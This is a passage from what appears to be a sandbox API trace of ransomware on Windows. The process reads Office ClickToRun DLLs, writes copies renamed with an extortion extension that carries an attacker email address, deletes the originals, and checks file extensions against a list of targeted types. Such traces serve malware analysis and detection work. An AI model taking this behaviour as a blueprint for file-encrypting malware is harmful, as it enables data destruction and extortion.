shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.649] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.649] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0284.651] GetLastError () returned 0x0 [0284.651] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0284.654] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0284.656] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.656] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x116, lpOverlapped=0x0) returned 1 [0284.656] SetEndOfFile (hFile=0x36c) returned 1 [0284.656] CloseHandle (hObject=0x36c) returned 1 [0284.656] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.656] SetEndOfFile (hFile=0x350) returned 1 [0284.658] CloseHandle (hObject=0x350) returned 1 [0284.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.658] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0284.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.659] lstrlenW (lpString=".doc") returned 4 [0284.659] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.659] lstrlenW (lpString=".docx") returned 5 [0284.659] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.659] lstrlenW (lpString=".pdf") returned 4 [0284.659] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.659] lstrlenW (lpString=".xls") returned 4 [0284.659] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.659] lstrlenW (lpString=".xlsx") returned 5 [0284.659] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.659] lstrlenW (lpString=".ppt") returned 4 [0284.659] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.659] lstrlenW (lpString=".zip") returned 4 [0284.659] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.659] lstrlenW (lpString=".rar") returned 4 [0284.659] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.659] lstrlenW (lpString=".bz2") returned 4 [0284.659] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.659] lstrlenW (lpString=".7z") returned 3 [0284.659] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.659] lstrlenW (lpString=".dbf") returned 4 [0284.659] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.660] lstrlenW (lpString=".1cd") returned 4 [0284.660] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.660] lstrlenW (lpString=".jpg") returned 4 [0284.660] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.660] lstrlenW (lpString=".doc") returned 4 [0284.660] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.660] lstrlenW (lpString=".docx") returned 5 [0284.660] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.660] lstrlenW (lpString=".pdf") returned 4 [0284.660] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.660] lstrlenW (lpString=".xls") returned 4 [0284.660] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.660] lstrlenW (lpString=".xlsx") returned 5 [0284.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.660] lstrlenW (lpString=".ppt") returned 4 [0284.660] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.660] lstrlenW (lpString=".zip") returned 4 [0284.660] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.660] lstrlenW (lpString=".rar") returned 4 [0284.660] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.660] lstrlenW (lpString=".bz2") returned 4 [0284.660] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.661] lstrlenW (lpString=".7z") returned 3 [0284.661] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.661] lstrlenW (lpString=".dbf") returned 4 [0284.661] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.661] lstrlenW (lpString=".1cd") returned 4 [0284.661] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0284.661] lstrlenW (lpString=".jpg") returned 4 [0284.661] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.661] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.661] lstrlenW (lpString="api-ms-win-crt-runtime-l1-1-0.dll") returned 33 [0284.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.662] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=23232) returned 1 [0284.662] CloseHandle (hObject=0x350) returned 1 [0284.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0284.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.663] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0284.667] GetLastError () returned 0x0 [0284.667] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x5ac0, lpOverlapped=0x0) returned 1 [0284.834] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x5ad0, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x5ad0, lpOverlapped=0x0) returned 1 [0284.836] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.836] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x116, lpOverlapped=0x0) returned 1 [0284.836] SetEndOfFile (hFile=0x36c) returned 1 [0284.836] CloseHandle (hObject=0x36c) returned 1 [0284.837] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.837] SetEndOfFile (hFile=0x350) returned 1 [0284.838] CloseHandle (hObject=0x350) returned 1 [0284.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.838] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 1 [0284.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.839] lstrlenW (lpString=".doc") returned 4 [0284.839] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.839] lstrlenW (lpString=".docx") returned 5 [0284.839] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.839] lstrlenW (lpString=".pdf") returned 4 [0284.839] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.839] lstrlenW (lpString=".xls") returned 4 [0284.839] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.839] lstrlenW (lpString=".xlsx") returned 5 [0284.839] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.839] lstrlenW (lpString=".ppt") returned 4 [0284.839] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.839] lstrlenW (lpString=".zip") returned 4 [0284.839] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.839] lstrlenW (lpString=".rar") returned 4 [0284.839] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.839] lstrlenW (lpString=".bz2") returned 4 [0284.839] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.839] lstrlenW (lpString=".7z") returned 3 [0284.839] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.839] lstrlenW (lpString=".dbf") returned 4 [0284.840] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.840] lstrlenW (lpString=".1cd") returned 4 [0284.840] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.840] lstrlenW (lpString=".jpg") returned 4 [0284.840] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.840] lstrlenW (lpString=".doc") returned 4 [0284.840] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.840] lstrlenW (lpString=".docx") returned 5 [0284.840] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.840] lstrlenW (lpString=".pdf") returned 4 [0284.840] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.840] lstrlenW (lpString=".xls") returned 4 [0284.840] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.840] lstrlenW (lpString=".xlsx") returned 5 [0284.840] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.840] lstrlenW (lpString=".ppt") returned 4 [0284.840] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.840] lstrlenW (lpString=".zip") returned 4 [0284.840] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.840] lstrlenW (lpString=".rar") returned 4 [0284.840] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.840] lstrlenW (lpString=".bz2") returned 4 [0284.841] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.841] lstrlenW (lpString=".7z") returned 3 [0284.841] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.841] lstrlenW (lpString=".dbf") returned 4 [0284.841] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.841] lstrlenW (lpString=".1cd") returned 4 [0284.841] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.841] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned 91 [0284.841] lstrlenW (lpString=".jpg") returned 4 [0284.841] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.841] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.841] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0284.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.842] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=473760) returned 1 [0284.842] CloseHandle (hObject=0x350) returned 1 [0284.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0284.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0284.843] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.843] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0284.844] GetLastError () returned 0x0 [0284.844] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x73aa0, lpOverlapped=0x0) returned 1 [0284.924] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0x73ab0, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0x73ab0, lpOverlapped=0x0) returned 1 [0285.617] ReadFile (in: hFile=0x350, lpBuffer=0x3f3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesRead=0x337fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.617] WriteFile (in: hFile=0x36c, lpBuffer=0x3f3b020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x337fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f3b020*, lpNumberOfBytesWritten=0x337fc94*=0xfa, lpOverlapped=0x0) returned 1 [0286.032] SetEndOfFile (hFile=0x36c) returned 1 [0286.032] CloseHandle (hObject=0x36c) returned 1 [0286.033] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.033] SetEndOfFile (hFile=0x350) returned 1 [0286.038] CloseHandle (hObject=0x350) returned 1 [0286.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0286.038] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 1 [0286.039] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.040] lstrlenW (lpString=".doc") returned 4 [0286.040] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.040] lstrlenW (lpString=".docx") returned 5 [0286.040] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0286.040] lstrlenW (lpString=".pdf") returned 4 [0286.040] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.040] lstrlenW (lpString=".xls") returned 4 [0286.040] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.040] lstrlenW (lpString=".xlsx") returned 5 [0286.040] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0286.040] lstrlenW (lpString=".ppt") returned 4 [0286.040] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.040] lstrlenW (lpString=".zip") returned 4 [0286.040] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.040] lstrlenW (lpString=".rar") returned 4 [0286.040] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.040] lstrlenW (lpString=".bz2") returned 4 [0286.040] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.040] lstrlenW (lpString=".7z") returned 3 [0286.040] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.040] lstrlenW (lpString=".dbf") returned 4 [0286.040] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.040] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.040] lstrlenW (lpString=".1cd") returned 4 [0286.041] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.041] lstrlenW (lpString=".jpg") returned 4 [0286.041] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.041] lstrlenW (lpString=".doc") returned 4 [0286.041] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0286.041] lstrlenW (lpString=".docx") returned 5 [0286.041] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0286.041] lstrlenW (lpString=".pdf") returned 4 [0286.041] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0286.041] lstrlenW (lpString=".xls") returned 4 [0286.041] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0286.041] lstrlenW (lpString=".xlsx") returned 5 [0286.041] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0286.041] lstrlenW (lpString=".ppt") returned 4 [0286.041] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0286.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.041] lstrlenW (lpString=".zip") returned 4 [0286.041] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0286.041] lstrlenW (lpString=".rar") returned 4 [0286.041] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0286.041] lstrlenW (lpString=".bz2") returned 4 [0286.041] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0286.042] lstrlenW (lpString=".7z") returned 3 [0286.042] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0286.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.042] lstrlenW (lpString=".dbf") returned 4 [0286.042] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0286.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.042] lstrlenW (lpString=".1cd") returned 4 [0286.042] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0286.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0286.042] lstrlenW (lpString=".jpg") returned 4 [0286.042] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0286.042] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0286.042] lstrlenW (lpString="AppVManifest.dll") returned 16 [0286.042] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0286.043] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x337ff14 | out: lpFileSize=0x337ff14*=1231576) returned 1 [0286.043] CloseHandle (hObject=0x350) returned 1 [0286.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0286.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0286.043] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 